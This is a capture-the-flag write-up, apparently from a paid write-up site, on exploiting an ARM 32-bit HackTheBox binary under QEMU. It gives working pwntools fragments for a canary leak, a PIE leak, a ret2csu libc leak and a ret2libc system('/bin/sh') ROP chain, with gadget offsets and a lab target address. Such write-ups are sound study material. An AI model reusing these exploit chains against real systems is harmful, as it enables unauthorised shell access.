$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: ARM 32-bit binary exploitation under QEMU user-mode with PIE, Canary, and NX enabled. Solution: Multi-stage ROP chain — leak canary via partial overwrite, leak PIE base from saved LR, use ARM ret2csu to leak libc via GOT, then ret2libc with system("/bin/sh").
ARM binary exploitation challenge running under QEMU user-mode emulation with a custom ASLR patch.
ARM 32-bit ELF binary (little-endian, EABI5), dynamically linked, not stripped. Runs via qemu-arm with a custom ASLR patch. Contains a string_storer() function that reads strings in a loop, copies them to a stack buffer, and outputs them back via puts().
Remote target: 154.57.164.72:31410.
Files: arms_roped (ARM ELF binary), libc.so.6 (ARM 32-bit libc), Dockerfile (socat + qemu-arm), patch.diff (QEMU ASLR patch), build_docker.sh.
| Protection | Status |
|---|---|
| PIE | Enabled |
| NX | Enabled |
| Canary | Enabled |
| RELRO | Partial |
socat tcp-l:1337,reuseaddr,fork EXEC:./qemu_arm -L /usr/arm-linux-gnueabihf/ ./arms_roped
QEMU user-mode typically doesn't support ASLR. The organizers added a custom patch (patch.diff) that randomizes addresses via srand(time(NULL)) — a weak entropy source, but this doesn't matter for exploitation since we obtain address leaks directly.
main() (0x8dc)Sets up stdout/stderr buffering via setvbuf, then calls string_storer().
string_storer() (0x790) — Vulnerable FunctionLoop:
scanf("%m[^\n]%n", &tmp, &n) — %m allocates a heap buffer for input, %n writes the number of bytes read to a global variable nmemcpy(stack_buf, tmp, n) — copies n bytes to a 32-byte stack buffer without bounds checkingfree(tmp) — frees the heap buffermemcmp(stack_buf, "quit", 4) — if it starts with "quit", exit the loopputs(stack_buf) — otherwise outputs the buffer contentsfp-0x30: buffer[32] ← memcpy destination (32 bytes)
fp-0x10: stack canary ← 4 bytes
fp-0x0c: padding ← 4 bytes
fp-0x08: saved r4 ← 4 bytes
fp-0x04: saved fp ← 4 bytes
fp+0x00: saved lr ← 4 bytes (return address)
| Symbol | Offset |
|---|---|
string_storer | 0x790 |
main | 0x8dc |
pop {r4, pc} | 0x774 |
pop {r4, fp, pc} | 0x8b8 |
__libc_csu_init epilogue: pop {r4,r5,r6,r7,r8,sb,sl,pc} | 0x9ec |
__libc_csu_init call gadget | 0x9cc |
mov r0, r3; sub sp, fp, 8; pop {r4, fp, pc} | 0x974 |
| Symbol | Offset |
|---|---|
system | 0x2f511 |
/bin/sh | 0xdce0c |
puts | 0x49ba5 |
Stack buffer overflow via memcpy without bounds checking.
scanf("%m[^\n]%n", &tmp, &n) reads an arbitrary number of bytes, and memcpy(stack_buf, tmp, n) copies them all into a 32-byte stack buffer. Since the function operates in a loop and outputs buffer contents via puts(), we can:
puts() outputThe loop allows multiple read/write iterations, enabling multi-stage exploitation.
Unlike x86, ARM has fundamental differences:
r0-r3, not the stacklr), not directly on the stack (but when calling subroutines, lr is saved to the stack)pop {r0, ..., pc} instead of pop rdi; retr0The canary is at offset 32 from the buffer start. The canary's LSB is always \x00 (null byte). puts() outputs the string until the first null byte.
Strategy: send 33 bytes (32 + 1), overwriting the null LSB of the canary. Now puts() will output the buffer contents + the remaining 3 bytes of the canary (until the next null byte).
# Send 33 bytes — overwrite canary LSB payload = b'A' * 33 io.sendline(payload) # Receive leak: 33 bytes padding + 3 bytes canary leak = io.recvline() canary_bytes = leak[33:36] canary = u32(b'\x00' + canary_bytes) # LSB = 0x00
Saved LR is at offset 48 from the buffer start. LR = PIE_base + 0x948 (address of the instruction after bl string_storer in main). Since PIE base is page-aligned, the LR's LSB is known: 0x48.
Strategy: byte-by-byte leak. Send 49, 50, 51 bytes, each time overwriting one additional byte of saved LR and reading the next via puts().
# Byte 0 of saved LR is known: 0x48 # Leak bytes 1, 2, 3: for i in range(3): offset = 49 + i # 49, 50, 51 payload = b'A' * 32 + p32(canary) + b'B' * 12 + b'C' * (4 + i + 1) io.sendline(payload) leak = io.recvline() lr_byte = leak[offset] pie_base = (lr_leaked - 0x948) & 0xfffff000
Important: with each leak, the canary must be restored to the correct value, otherwise the function will crash during verification.
Using the ARM variant of the ret2csu technique (__libc_csu_init gadgets) to call puts@plt(GOT_puts):
Gadget 1 (0x9ec) — register loading:
pop {r4, r5, r6, r7, r8, sb, sl, pc}
Gadget 2 (0x9cc) — function call:
ldr r3, [r5] ; loads function pointer from [r5] mov r0, r7 ; first argument = r7 mov r1, r8 ; second argument = r8 mov r2, sb ; third argument = sb blx r3 ; call function ... cmp r4, sl ; counter check bne loop ; if r4 != sl, repeat pop {r4, r5, r6, r7, r8, sb, sl, pc} ; epilogue
Chain:
rop = p32(canary) # restore canary rop += b'B' * 12 # padding (saved padding + r4 + fp) # Gadget 1: pop {r4, r5, r6, r7, r8, sb, sl, pc} rop += p32(pie + 0x9ec) # pc → gadget 1 # Registers for calling puts(GOT_puts): rop += p32(0) # r4 = 0 (counter) rop += p32(pie + GOT_puts_ptr) # r5 → address in GOT containing puts@plt rop += p32(0) # r6 (unused) rop += p32(pie + GOT_puts) # r7 = GOT_puts → r0 (argument for puts) rop += p32(0) # r8 rop += p32(0) # sb rop += p32(1) # sl = 1 (so r4+1 == sl, exit loop) rop += p32(pie + 0x9cc) # pc → gadget 2 (call gadget) # After call — epilogue pop {r4,r5,r6,r7,r8,sb,sl,pc}: rop += p32(0) * 7 # r4-sl (placeholders) rop += p32(pie + string_storer) # pc → return to string_storer for Stage 4
Result: puts() outputs the runtime address of puts from GOT → calculate libc base:
puts_leak = u32(io.recv(4)) libc_base = puts_leak - 0x49ba5
With known libc base, use a gadget from libc:
# libc has gadget: pop {r0, r4, pc} pop_r0_r4_pc = libc_base + <offset> payload = b'A' * 32 payload += p32(canary) payload += b'B' * 12 payload += p32(pop_r0_r4_pc) # pc → pop {r0, r4, pc} payload += p32(libc_base + 0xdce0c) # r0 = "/bin/sh" payload += p32(0) # r4 (doesn't matter) payload += p32(libc_base + 0x2f511) # pc = system()
Send the payload, then "quit" to exit the string_storer() loop → function returns → ROP chain triggers → system("/bin/sh") → shell!
io.sendline(payload) io.recvline() io.sendline(b'quit') io.interactive() # cat flag.txt → HTB{REDACTED}
┌─────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├─────────────────────────────────────────────────────┤
│ │
│ Stage 1: Canary Leak │
│ ├─ Send 33 bytes (overflow 1 byte into canary) │
│ ├─ puts() leaks 3 remaining canary bytes │
│ └─ Reconstruct: canary = \x00 + leaked[0:3] │
│ │
│ Stage 2: PIE Leak (saved LR) │
│ ├─ LR byte 0 = 0x48 (known, page-aligned base) │
│ ├─ Send 49 bytes → leak LR byte 1 │
│ ├─ Send 50 bytes → leak LR byte 2 │
│ ├─ Send 51 bytes → leak LR byte 3 │
│ └─ PIE base = (LR - 0x948) & 0xfffff000 │
│ │
│ Stage 3: Libc Leak (ret2csu) │
│ ├─ ROP: pop regs → call puts(GOT_puts) │
│ ├─ Leak runtime puts address │
│ ├─ libc_base = puts_leak - 0x49ba5 │
│ └─ Return to string_storer for Stage 4 │
│ │
│ Stage 4: Shell (ret2libc) │
│ ├─ ROP: pop {r0, r4, pc} │
│ ├─ r0 = &"/bin/sh", pc = system() │
│ ├─ Send "quit" to trigger return │
│ └─ system("/bin/sh") → interactive shell │
│ │
└─────────────────────────────────────────────────────┘
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar